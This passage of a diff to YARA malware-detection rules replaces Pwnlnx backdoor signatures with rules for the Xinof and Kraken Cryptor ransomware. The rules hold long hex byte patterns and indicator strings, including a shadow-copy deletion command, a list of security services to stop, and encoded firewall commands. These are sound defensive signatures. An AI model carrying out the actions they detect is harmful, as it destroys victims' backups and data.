????????????00000000000000000000????000000000000????0000????00000000000000000000????????00000000????????????00000000000000000000??????000000000000BC????????00000000000000000000????02??00000000????01??????00000000000000000000??????00000000000034??000012??00000000000000000000A1????????0000????????????00000000000000000000????????????0000??????????????000000000000000000004B000000000000????0000????00000000000000000000????000000000000??????000012??0000000000000000000005????????0000??????000012??0000000000000000000031??00000000000074??000012??00000000000000000000FF??0000000000005E02??????00000000000000000000????000000000000????????????00000000000000000000????????????0000??????000012??0000000000000000000025????????0000????02??????00000000000000000000??????000000000000DE??000012??000000000000000000007B??00000000000030??000012??0000000000000000000075??000000000000D9??000012??000000000000000000000E000000000000????????????00000000000000000000????000000000000????02??????00000000000000000000????????????0000????????????00000000000000000000????????????0000????????????00000000000000000000????000000000000????02??????00000000000000000000????000000000000????01??????00000000000000000000????????????0000????????????00000000000000000000????000000000000????????????00000000000000000000??????0000000000005201??????0000????174000000000????00000000000000005F5F676D6F6E5F73??6172??5F5F??????76??52656769????????????6173??6573??6C69????????????61642E????2E30??72??63????72??6D??????68????????5F63????6174????????6E6474????????75??65??????69??????????????6E6F5F6C6F63????69????????????6B????74??72??6164??73??676D6173????????6E6E6563??????74??72??6164??73??6C66??????63????74??70??68????????5F6465????63????6663????6C????????63??73??2E????????63????74??73??72??70????????69????????????????????616E64??????6574??6174??6E??????74??77??69??????????????6469????????????5F6E74??61??????74??72??69??????????????70??????????6D6F6E????????74??6E??????6C6563??????6B????????72??616C6C6F63??676574??69??????????????73??72??6F6B????63????77????????70??6173??72??3634??73??67656D70??79??6574??6D656D73??74??72??6469??????????????????6565??????68????????6173??74??6D65??????74??6F63????70????????616E74??74??6475??32??73??67616464????74??69????????????6472??6663??????65??????74??6F63????70????????6C6C6F63??73??72??6174??72??616C70??74????????6D6F76????????656E6469????????????6C??????74??6F73??62????616D65??????6563??????????72??74????????656164??????6C6F63????74??6C6F63????74??6D65??????616E6469????????????616464??????????????6565????73??74??69????????????????????6D6D6F76????????70??6E3634??5F5F6C69????????????72??5F6D6169????????????73??73??70??69????????????65????????78??74??74??34??474C4942435F32??32??35????????42435F32??33??000002??02??02??03??02??02??02??03??03??02??02??02??0000000002??02??02??02??02??03??02??02??02??02??02??02??02??02??03??02??02??02??04??02??02??03??02??03??02??02??02??03??02??02??02??02??02??03??02??02??02??02??02??02??03??02??02??03??02??02??02??03??02??03??02??03??02??02??02??02??02??02??03??03??03??02??02??02??02??02??000001??01??24??000010??000020??000075??69??????????9602??00000000????????????????????000000000000????69????????????A2????????0000??????69??????????9602??00000000????81????????????060000????????????000000000000????81????????????070000????00000000000000000000????81????????????070000????00000000000000000000????81????????????070000????00000000000000000000000082??????0000????0000??????0000000000000000000008??????????0000070000????????????000000000000????82??????0000????0000????00000000000000000000????82??????0000????0000????00000000000000000000????82??????0000????0000????00000000000000000000????82??????0000????0000????00000000000000000000????82??????0000????0000????00000000000000000000????82??????0000????0000????00000000000000000000??????6000000000????0000??????000000000000000000004882??????0000????0000????00000000000000000000??????6000000000????0000????00000000000000000000??????6000000000????0000????00000000000000000000??????6000000000????0000????00000000000000000000??????6000000000????0000????00000000000000000000??????6000000000????0000?????? } + $s1 = {005C0048006F007700200054006F00200052006500730074006F0072006500200059006F00750072002000460069006C00650073002E007400780074} + $s2 = "delete shadows /all /quiet" fullword wide + $pattern1 = {006D656D74617300006D65706F63730000736F70686F730000766565616D0000006261636B7570000047785673730000004778426C7200000047784657440000004778435644000000477843494D67720044656657617463680000000063634576744D67720000000063635365744D677200000000536176526F616D005254567363616E0051424643536572766963650051424944505365727669636500000000496E747569742E517569636B426F6F6B732E46435300} + $pattern2 = {004163725363683253766300004163726F6E69734167656E74000000004341534144324457656253766300000043414152435570646174655376630000730071} + $pattern3 = {FFB0154000C78584FDFFFFB8154000C78588FDFFFFC0154000C7858CFDFFFFC8154000C78590FDFFFFD0154000C78594FDFFFFD8154000C78598FDFFFFE0154000C7859CFDFFFFE8154000C785A0FDFFFFF0154000C785A4FDFFFFF8154000C785A8FDFFFF00164000C785ACFDFFFF08164000C785B0FDFFFF10164000C785B4FDFFFF18164000C785B8FDFFFF20164000C785BCFDFFFF28164000C785C0FDFFFF30164000C785C4FDFFFF38164000C785C8FDFFFF40164000C785CCFDFFFF48164000C785D0FDFFFF50164000C785D4FDFFFF581640} + $pattern4 = {400010104000181040002010400028104000301040003810400040104000481040005010400058104000601040006C10400078104000841040008C10400094104000A0104000B0104000C8104000DC104000E8104000F01040000011400008114000181140002411400038114000501140005C11400064114000741140008C114000A8114000C0114000E0114000F4114000101240002812400034124000441240005412400064124000741240008C124000A0124000B8124000D4124000EC1240000C1340002813400054134000741340008C134000A4134000C4134000E8134000FC134000141440003C144000501440006C144000881440009C144000B4144000CC144000E8144000FC144000141540003415400048154000601540007815} condition: - uint16( 0 ) == 0x457f and filesize < 100KB and all of them + filesize >= 15KB and filesize <= 90KB and 1 of ( $s* ) and 3 of ( $pattern* ) } -rule TRELLIX_ARC_Pwnlnx_Backdoor_Variant_2 : BACKDOOR FILE +rule TRELLIX_ARC_Ransom_Xinof : RANSOMWARE FILE { meta: - description = "Rule to detect the backdoor pwnlnx variant 2" - author = "Marc Rivero | McAfee ATR Team" - id = "c4ee686b-49d9-5566-b749-1144a19c1fee" - date = "2020-04-17" - modified = "2020-08-14" - reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_decade_of_RATs.yar#L35-L65" + description = "Detect Xinof ransomware" + author = "Thomas Roccia | McAfee ATR team" + id = "3b064ce4-cd5b-5a4a-bb55-a2c2c361791e" + date = "2020-11-20" + modified = "2020-11-20" + reference = "https://labs.sentinelone.com/the-fonix-raas-new-low-key-threat-with-unnecessary-complexities/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_xinof.yar#L53-L82" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "08cc67002782cbafd97a4bff549d25dd72d6976d2fdf79339aaf5a3ff7c3107e" - logic_hash = "08ea40ba72677263a41f62097fc38040361ba595d67cb04979b66548c7f4d271" + hash = "0c1e6299a2392239dbe7fead33ef4146" + logic_hash = "42110ee8869d56c53dc201cbc83652c6457541b8d502aa12b37ef6200e735a15" score = 75 quality = 70 - tags = "BACKDOOR, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:W32/Pwnlnx" + malware_type = "ransomware" + malware_family = "Ransom/XINOF" actor_type = "Cybercrime" - actor_group = "Unknown" + actor_group = "FONIX" strings: - $bp = { 7F??4C4602??01??000000000000000002??3E????0000000004??00000000??????00000000000088????????????00000000??????38??05????????????????0000????????????0000000000000000??????0000000000004000000000??????0D??????????????0D????????0000????00000000????0000????0000????????????0000????????????0000????????????0000????12??00000000????????????00000000????00000000??????000004??00005801??00000000??????4000000000??????4000000000????????00000000????????00000000??????000000000000070000??????000080??????0000000080??????0000000080??????0000000028??00000000000070??00000000000008??00000000000051E5??64??000000000000000000000000000000000000000000000000000000000000000000000000000000000000????000000000000??????000010??000001??0000474E5500000000????0000????0000????0000??????000014??000003??0000474E55????????????CC78??78??83????????????CB371F0000000080??????0000000025????????0000????7E??00000000????????????0000????????????0000??????4200000000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000??????4200000000????????????0000????????????0000??????4200000000????????????0000????????????0000????????????0000????76??00000000????????????0000????8B????00000000C8??????0000000025????????0000??????4200000000????76??00000000????????????0000????444200000000????76??00000000????????????0000??????4900000000????76??00000000????????????0000??????4600000000????76??00000000????????????0000????424200000000??????EC08??33??0000E8????????E8????????4883????C3FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????00000000000000000000000000000000000000000000000031??4989??5E4889??4883????505449C7??????????48C7??????????48C7??????????E8????????F490904883????488B??????????4885??74??FF??4883????C390909090909090909090909090554889??534883????80????????????75??BB????????488B??????????4881??????????48C1????4883????4839??73??660F1F??????4883????4889??????????FF????????????488B??????????4839??72??B8????????4885??74??BF????????E8????????C6????????????4883????5BC9C30F1F????????????55B8????????4885??4889??74??BE????????BF????????E8????????4883????????????74??B8????????4885??74??BF????????C9FF??0F1F??????????C9C39090554889??534881??????????89??????????48C7????????????8B????3D????????0F87????????8B????89??488D??????????8B??????????4889??89??E8????????85??0F84????????8B????89??488D??????????89??4889??E8????????BA????????488D??????????4889??4889??E8????????4889????4883??????0F84????????488D??????????488D??????????4889??4889??E8????????85??0F85????????488B??????????4889????C7????????????488B????89????488B????48C1????89????488B????4889????488B????4889??????488B????4889??????E8????????89????BE????????488D????E8????????488D????8B??????????BA????????4889??89??E8????????85??0F84????????488D????8B??????????BA????????4889??89??E8????????85??0F84????????BE????????488D????E8????????8B????488B????4889????488B????4889??????488B????4889??????E8????????39??0F85????????8B????89??4889??48C1????8B????89??488D????4889????488B????488B????BA????????4889??4889??E8????????488B????4889????EB??488B????488D??????????4889??BA????????BE????????4889??E8????????89????83??????7E??8B????488D??????????89??4889??E8????????8B????4863??488D??????????8B??????????4889??89??E8????????85??74??8B????48984801????488B????483B????7C??EB??90EB??90EB??90EB??90EB??90EB??90488B????4889??E8????????EB??90EB??90EB??90B8????????4881??????????5BC9C3554889??534881??????????4889??????????E8????????4889??E8????????C7????????????488B??????????8B????89????488B??????????8B??89????488B??????????8B????89????8B????8B????BA????????89??89??E8????????89????83??????0F84????????488D????BA????????BE????????4889??E8????????C7????????????C7????????????8B????89????488B????4889????488B????4889??????488B????4889??????E8????????89????488D????BE????????4889??E8????????488D????8B????BA????????4889??89??E8????????85??0F84????????488D??????????4889??E8????????488D??????????BE????????4889??E8????????488D??????????8B????BA????????4889??89??E8????????85??0F84????????488D????8B????BA????????4889??89??E8????????85??74??488D????BE????????4889??E8????????8B????488B????4889????488B????4889??????488B????4889??????E8????????39??75??8B????83????75??8B????488B????4889????488B????4889??????488B????4889??????89??E8????????EB??90EB??90EB??90EB??90EB??908B????89??E8????????B8????????4881??????????5BC9C390554889??4889????89????C7????????????488B????4889????C7????????????EB??488B????0FB6??8B????89??C1????F7????89??48980FB6??????????89??31??488B????88??83??????4883??????8B????3B????7C??488B????C9C3554889??4889????89????488B????4889????C7????????????EB??488B????0FB6??0FB6??????????31??488B????88??83??????4883??????8B????3B????7C??488B????C9C39090554889??534881??????????89??????????48C7????????????48C7????????????48C7????????????8B????89??488D??????????8B??????????4889??89??E8????????85??0F84????????8B????89??488D??????????89??4889??E8????????488D??????????488D??????????4889??4889??E8????????BA????????488D??????????488D??????????BE????????4889??B8????????E8????????488D??????????4889??E8????????4883????4889??E8????????4889????4883??????0F84????????488D??????????488B????4889??4889??E8????????488D??????????488D????B9????????BA????????4889??4889??E8????????89????83??????0F8E????????C7????????????E9????????488B????8B????4863??48C1????4801??488B??488D????BA????????488D??????????488D??????????4989??BE????????4889??B8????????E8????????488D??????????488D??????????4889??4889??E8????????85??0F85????????48C7????????????48C7????????????488D??????????4883????4889??E8????????4889??E8????????488B??????????8B??????????4189??4181??????????8B??????????89??81??????????488B????8B????4863??48C1????4801??488B??488D????BA????????488D??????????4889??????4889??????488B????4889??????488B????4889????4589??4189??4889??BE????????4889?? } + $s1 = "XINOF.exe" nocase ascii + $s2 = "C:\\Users\\Phoenix" nocase ascii + $s3 = "How To Decrypt Files.hta" nocase ascii + $s4 = "C:\\ProgramData\\norunanyway" nocase ascii + $s5 = "C:\\ProgramData\\clast" nocase ascii + $s6 = "fonix1" nocase ascii + $s7 = "C:\\Windows\\System32\\shatdown.exe" nocase ascii + $s8 = "XINOF Ransomw" nocase ascii + $s9 = "XINOF v4.2" nocase ascii + $s10 = "XINOF Ransomware Version 3.3" nocase ascii condition: - uint16( 0 ) == 0x457f and filesize < 1000KB and all of them + uint16( 0 ) == 0x5a4d and filesize < 2000KB and 5 of ( $s* ) or TRELLIX_ARC_Ransom_Xinof_Chunk_PRIVATE } -rule TRELLIX_ARC_Pwnlnx_Backdoor_Variant_3 : BACKDOOR FILE +rule TRELLIX_ARC_Kraken_Cryptor_Ransomware_Loader : RANSOMWARE FILE { meta: - description = "Rule to detect the backdoor pwnlnx variant" + description = "Rule to detect the Kraken Cryptor Ransomware loader" author = "Marc Rivero | McAfee ATR Team" - id = "02ea1eb2-7235-5ed5-86ba-19d52e8fb428" - date = "2020-04-17" + id = "e6bfa30b-6565-5d03-8f4d-96fc2b6a1c11" + date = "2018-09-30" modified = "2020-08-14" - reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_decade_of_RATs.yar#L67-L97" + reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Kraken.yar#L1-L30" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "08f29e234f0ce3bded1771d702f8b5963b144141727e48b8a0594f58317aac75" - logic_hash = "8a1405f430ce57810577f65ef43a1425601bf49b5adb4f6f935505427ad9dc94" + hash = "564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd" + logic_hash = "9e252a3ba7f6bf861ea7563461a1420959dfb0f5b7c3f6071150d03422504539" score = 75 quality = 70 - tags = "BACKDOOR, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:W32/Pwnlnx" + malware_type = "ransomware" + malware_family = "Ransom:W32/Kraken" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $bp = { 7F??4C4602??01??000000000000000002??3E????0000000004??00000000??????000000000000B0??3A??000000000000000040??????????????????????01??000005????????0000000000000000??????0000000000004000000000????????????0000????????????00000000????00000000????0000????0000????A40C??00000000C0??????????????C0??????????????5013??00000000????????????00000000????00000000??????000004??00005801??00000000??????4000000000??????4000000000????000000000000????000000000000??????000000000000070000??????0000C0??????????????C0??????????????C0??????????????28??00000000000078??00000000000008??00000000000051E5??64??000000000000000000000000000000000000000000000000000000000000000000000000000000000000????000000000000??????000010??000001??0000474E5500000000????0000??????000000000000C0????????????????????????0000????84????00000000C8??????0000000025????????0000????374200000000????A56C00000000????????????0000????????????0000????A56C00000000????????????0000??????4200000000????A56C00000000????????????0000????24??00000000????A56C00000000????????????0000????????????0000????A56C00000000????????????0000????83??????0000????A56C00000000????????????0000????5E42000000000000A66C00000000????????????0000??????4200000000????A66C00000000????????????0000????914200000000????A66C00000000????????????0000??????4200000000????A66C00000000????????????0000????????????0000????A66C00000000????????????0000????????????0000????A66C00000000????????????0000??????4200000000????A66C00000000????????????0000??????4200000000??????EC08??4301??????62??0000E8????????4883????C3FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????00000000000000000000000000000000000000000000000031??4989??5E4889??4883????505449C7??????????48C7??????????48C7??????????E8????????F490904883????488B??????????4885??74??FF??4883????C390909090909090909090909090B8????????55482D????????4883????4889??76??B8????????4885??74??5DBF????????FF??660F1F????????????5DC366666666????????????????????BE????????554881??????????48C1????4889??4889??48C1????4801??48D1??74??B8????????4885??74??5DBF????????FF??0F1F??5DC3660F1F??????80????????????75??554889??53BB????????4881??????????4883????488B??????????48C1????4883????4839??73??660F1F??????4883????4889??????????FF????????????488B??????????4839??72??E8????????B8????????4885??74??BF????????E8????????C6????????????4883????5B5DF3??669055B8????????4885??4889??74??BE????????BF????????E8????????BF????????4883????75??5DE9????????6690B8????????4885??74??FF??EB??9090554889??534881??????????89??????????48C7????????????8B????3D????????76??E9????????8B????89??488D??????????8B??????????4889??89??E8????????85??75??E9????????8B????89??488D??????????89??4889??E8????????488D??????????BE????????4889??E8????????4889????4883??????75??E9????????488D??????????488D??????????4889??4889??E8????????85??74??E9????????488B??????????4889????C7????????????488B????89????488B????48C1????89????4883????FF????FF????FF????E8????????4883????89????BE????????488D????E8????????8B??????????BA????????488D????89??E8????????85??75??E9????????8B??????????BA????????488D????89??E8????????85??75??E9????????BE????????488D????E8????????8B????4883????FF????FF????FF????E8????????4883????39??74??E9????????8B????89??48C1????4889??8B????89??4801??4889????488B????488B????BA????????4889??4889??E8????????488B????4889????EB??488B????488D??????????4889??BA????????BE????????4889??E8????????89????83??????7F??EB??8B????488D??????????89??4889??E8????????8B????4863??488D??????????8B??????????4889??89??E8????????85??75??EB??8B????48984801????488B????483B????7C??488B????4889??E8????????B8????????488B????C9C3554889??534881??????????4889??????????E8????????4889??E8????????C7????????????488B??????????8B????89????488B??????????8B??89????488B??????????8B????89????8B????8B????BA????????89??89??E8????????89????83??????75??E9????????488D????BA????????BE????????4889??E8????????C7????????????C7????????????8B????89????4883????FF????FF????FF????E8????????4883????89????488D????BE????????4889??E8????????488D????8B????BA????????4889??89??E8????????85??75??E9????????488D??????????4889??E8????????488D??????????BE????????4889??E8????????488D??????????8B????BA????????4889??89??E8????????85??75??EB??488D????8B????BA????????4889??89??E8????????85??75??EB??488D????BE????????4889??E8????????8B????4883????FF????FF????FF????E8????????4883????39??74??EB??8B????83????74??EB??8B????4883????FF????FF????FF????89??E8????????4883????908B????89??E8????????B8????????488B????C9C3554889??4889????89????C7????????????488B????4889????C7????????????EB??488B????0FB6??8B????99F7????89??48980FB6??????????31??89??488B????88??83??????4883??????8B????3B????7C??488B????5DC3554889??4889????89????488B????4889????C7????????????EB??488B????0FB6??0FB6??????????31??488B????88??83??????4883??????8B????3B????7C??488B????5DC39090554889??534881??????????89??????????48C7????????????48C7????????????48C7????????????8B????89??488D??????????8B??????????4889??89??E8????????85??75??E9????????8B????89??488D??????????89??4889??E8????????488D??????????488D??????????4889??4889??E8????????488D??????????488D??????????4889??BA????????BE????????4889??B8????????E8????????488D??????????4889??E8????????4883????4889??E8????????4889????4883??????75??E9????????488D??????????488B????4889??4889??E8????????488D????488D??????????B9????????BA????????4889??E8????????89????83??????0F8E????????C7????????????E9????????488B????8B????4863??48C1????4801??488B??488D????488D??????????488D??????????4989??4889??BA????????BE????????4889??B8????????E8????????488D??????????488D??????????4889??4889??E8????????85??0F85????????48C7????????????48C7????????????488D??????????4883????4889??E8????????4889??E8????????4989??488B??????????8B??????????25????????89??8B??????????25????????89??488B????8B????4863??48C1????4801??488B??488D????488D??????????415052FF????FF????4189??4189??BA????????BE????????4889??B8????????E8????????4883????488B????4889??E8????????4889??488D?????????? } + $pdb = "C:\\Users\\Krypton\\source\\repos\\UAC\\UAC\\obj\\Release\\UAC.pdb" fullword ascii + $s2 = "SOFTWARE\\Classes\\mscfile\\shell\\open\\command" fullword wide + $s3 = "public_key" fullword ascii + $s4 = "KRAKEN DECRYPTOR" ascii + $s5 = "UNIQUE KEY" fullword ascii condition: - uint16( 0 ) == 0x457f and filesize < 4000KB and all of them + uint16( 0 ) == 0x5a4d and filesize < 600KB and $pdb or all of ( $s* ) } -rule TRELLIX_ARC_Pwnlnx_Backdoor_Variant_4 : BACKDOOR FILE +rule TRELLIX_ARC_Kraken_Cryptor_Ransomware : RANSOMWARE FILE { meta: - description = "Rule to detect the backdoor pwnlnx variant 4" + description = "Rule to detect the Kraken Cryptor Ransomware" author = "Marc Rivero | McAfee ATR Team" - id = "199bb534-f0f6-5b67-aedd-3eada5e45cc6" - date = "2020-04-17" + id = "7e1e5fa8-6d87-5e64-a8d4-4dae55ab76ca" + date = "2018-09-30" modified = "2020-08-14" - reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_decade_of_RATs.yar#L99-L129" + reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Kraken.yar#L32-L64" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "2590ab56d46ff344f2aa4998efd1db216850bdddfc146d5d37e4b7d07c7336fc" - logic_hash = "11203beee446aaf0783d3a8d3839a88ef16c27d52be8670d650ebf6a1de2c3aa" + hash = "564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd" + logic_hash = "2ad7f0bf6110eab79e0f9541c49ae44089ebca3f91ffa80de874d60d5a7ed266" score = 75 quality = 70 - tags = "BACKDOOR, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:W32/Pwnlnx" + malware_type = "ransomware" + malware_family = "Ransom:W32/Kraken" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $bp = { 7F??4C4602??01??000000000000000001??3E????000000000000000000000000000000000000????????????000000000000??????0000000040??????????????000014??000003??0000474E55????9FECFBE5??F973??EB??2A??????????71??BD????????0000000000000000554889??53E8????????FF????????????4889??4889??4881??????????FF????????????4889??5BC9C30F1F??????554889??E8????????FF????????????C9C366666666????????????????????554889??E8????????4885??74??4C8B????4D85??74??65??8B????????????8B??????????4889??????????48C7??????????89??C1????C1????01??25????????29??48984C89????????????FF??????????C9C3660F1F????????????31??C9C36666662E????????????????554889??E8????????4889??????????48C7??????????FF??????????C9C390554889??E8????????8B??????????488B??????????488D????0FB6????3C??400F94??3C??410F94??74??4084??75??B8????????C9C30F1F????????????8B??????????39????74??3B????74??4584??74??8B??????????4801??0FB7??????????66????74??66??????75??4889??41FF??B8????????C9C30F1F??4084??74??8B??????????4801??0FB7??????????66????75??EB??0F1F????554889??534883????E8????????31??4889??31??E8????????483D????????77??4885??74??488B????488B????488B????488B????4889??????????31??4889??E8????????31??4883????5BC9C383????EB??662E0F1F????????????554889??415453E8????????4989??4889??31??31??E8????????483D????????77??488B????31??4889??488B????488B????488B????488B??????????4989????4889??????????E8????????31??5B415CC9C383????EB??0F1F??????554889??534883????E8????????31??4889??31??E8????????483D????????77??4885??74??488B????488B????488B????488B????4889??????????31??4889??E8????????31??4883????5BC9C383????EB??662E0F1F????????????554889??415453E8????????4989??4889??31??31??E8????????483D????????77??488B????31??4889??488B????488B????488B????488B??????????4989????4889??????????E8????????31??5B415CC9C383????EB??0F1F??????554889??534883????E8????????31??4889??BE????????E8????????483D????????77??4885??74??488B????4889????31??4889??E8????????31??4883????5BC9C383????EB??660F1F??????554889??415453E8????????4989??4889??BE????????31??E8????????483D????????77??488B????31??4889??488B????4989????488B????4889????E8????????31??5B415CC9C383????EB??554889??4157415641554154534883????E8????????4889??488D????4989??4189??4889??BA????????4989??4489????4D89??E8????????488B??????????448B????4881??????????488D????75??EB??0F1F????488B????4881??????????488D????74??0FB7????4839??75??4883????31??5B415C415D415E415FC9C30F1F??????4D89??4C89??4489??4889??4C89??FF??????????4883????5B415C415D415E415FC9C30F1F????554889??4157415641554154534883????E8????????65??8B????????????4889????4889????4189??8B??????????4889??B9????????48C7??????????4889??4D89??4589??89??C1????C1????01??25????????29??F3A648984C8B????????????0F84????????B9????????48C7??????????4889??F3A60F84????????31??4585??4889??4889????4489????74??418D??????31??488D??????0FB6??4883????4889??48C1????48C1????4801??4801??4839??488D????488D????75??89????488D????4C89??E8????????4885??4889??0F84????????488B????4885??74??81????????????0F84????????488B??????????483D????????4C8D????75??EB??0F1F??????498B????483D????????4C8D????74??498B??4889??E8????????85??75??31??4883????5B415C415D415E415FC9C34589??4D89??488B????4489??4889??488B????FF??????????4883????5B415C415D415E415FC9C30F1F??????????81????????????0F85????????31??EB??488D????4C89??E8????????4885??4889??74??498B????488B??????????488B????4885??74??31??4889??4889????FF??4885??488B????0F84????????31??E9????????0F1F????????????554889??534883????E8????????89??488B??????????4881??????????488D????74??66??????75??EB??0F1F????66??????74??488B????483D????????488D????4889??75??4883????5BC9C3E8????????4889??E8????????4883????5BC9C36666662E????????????????554889??534883????E8????????89??488B??????????4881??????????488D????74??66??????75??EB??0F1F????66??????74??488B????483D????????488D????4889??75??4883????5BC9C3E8????????4889??E8????????4883????5BC9C36666662E????????????????554889??534883????E8????????89??488B??????????4881??????????488D????74??66??????75??EB??0F1F????66??????74??488B????483D????????488D????4889??75??4883????5BC9C3E8????????4889??E8????????4883????5BC9C36666662E????????????????554889??534883????E8????????89??488B??????????4881??????????488D????74??66??????75??EB??0F1F????66??????74??488B????483D????????488D????4889??75??4883????5BC9C3E8????????4889??E8????????4883????5BC9C36666662E????????????????554889??534883????E8????????89??488B??????????4881??????????488D????74??66??????75??EB??0F1F????66??????74??488B????483D????????488D????4889??75??4883????5BC9C3E8????????4889??E8????????4883????5BC9C36666662E????????????????554889??41554154534883????E8????????4C8B??????????4989??4981??????????498D??????75??EB??0F1F????4C8B????4981??????????498D??????74??488B??4C89??E8????????85??75??4C89??E8????????488B??E8????????4889??E8????????4883????5B415C415DC9C36666662E????????????????554889??534883????E8????????488B??????????BA????????89??BF????????E8????????4885??74??66????488B??????????488D????48C7??????????E8????????4883????5BC9C30F1F????554889??534883????E8????????488B??????????BA????????89??BF????????E8????????4885??74??66????488B??????????488D????48C7??????????E8????????4883????5BC9C30F1F????554889??534883????E8????????488B??????????BA????????89??BF????????E8????????4885??74??66????488B??????????488D????48C7??????????E8????????4883????5BC9C30F1F????554889??534883????E8????????488B??????????BA????????89??BF????????E8????????4885??74??66????488B??????????488D????48C7??????????E8????????4883????5BC9C30F1F????554889?? } + $s1 = "Kraken Cryptor" fullword ascii nocase + $s2 = "support_email" fullword ascii + $fw1 = "L0MgbmV0c2ggYWR2ZmlyZXdhbGwgZmlyZXdhbGwgYWRkIHJ1bGUgbmFtZT0iU01CIFByb3RvY29sIEJsb2NrIiBwcm90b2NvbD1UQ1AgZGlyPWluIGxvY2FscG9ydD00" ascii + $fw2 = "L0MgbmV0c2ggYWR2ZmlyZXdhbGwgZmlyZXdhbGwgYWRkIHJ1bGUgbmFtZT0iUkRQIFByb3RvY29sIEJsb2NrIiBwcm90b2NvbD1UQ1AgZGlyPWluIGxvY2FscG9ydD0z" ascii + $fw3 = "L0MgbmV0c2ggYWR2ZmlyZXdhbGwgZmlyZXdhbGwgYWRkIHJ1bGUgbmFtZT0iUkRQIFByb3RvY29sIEJsb2NrIiBwcm90b2NvbD1UQ1AgZGlyPWluIGxvY2FscG9ydD0z" ascii + $fw4 = "L0MgbmV0c2ggYWR2ZmlyZXdhbGwgZmlyZXdhbGwgYWRkIHJ1bGUgbmFtZT0iU01CIFByb3RvY29sIEJsb2NrIiBwcm90b2NvbD1UQ1AgZGlyPWluIGxvY2FscG9ydD00" ascii + $uac = "<!--<requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\" />--> " fullword ascii condition: - uint16( 0 ) == 0x457f and filesize < 400KB and all of them + uint16( 0 ) == 0x5a4d and filesize < 600KB and all of ( $fw* ) or all of ( $s* ) or $uac } -rule TRELLIX_ARC_Pwnlnx_Backdoor_Variant_6 : BACKDOOR FILE +rule TRELLIX_ARC_Ransom_Note_Kraken_Cryptor_Ransomware : RANSOMWARE FILE { meta: - description = "Rule to detect the backdoor pwnlnx variant 6" + description = "Rule to detect the ransom note delivered by Kraken Cryptor Ransomware" author = "Marc Rivero | McAfee ATR Team" - id = "56bfe9c7-4cd4-51f6-a469-da8af52d64c2" - date = "2020-04-17" + id = "dec9d364-daf9-5a1d-8e72-ed4dd2aeecdf" + date = "2018-09-30" modified = "2020-08-14" - reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_decade_of_RATs.yar#L131-L161" + reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Kraken.yar#L66-L108" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "d29254ab907c9ef54349de3ec0dd8b22b4692c58ed7a7b340afbc6e44363f96a" - logic_hash = "29423135a46ee7b9aa1bd8f1e6f7ffad09725787ad6e75312e1d34b18e3917d4" + logic_hash = "d4acdf0716320b0f757b8dbc97bb9d407460b2d69dc8e12292539e823be0f57d" score = 75 quality = 70 - tags = "BACKDOOR, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:W32/Pwnlnx" + malware_type = "ransomware" + malware_family = 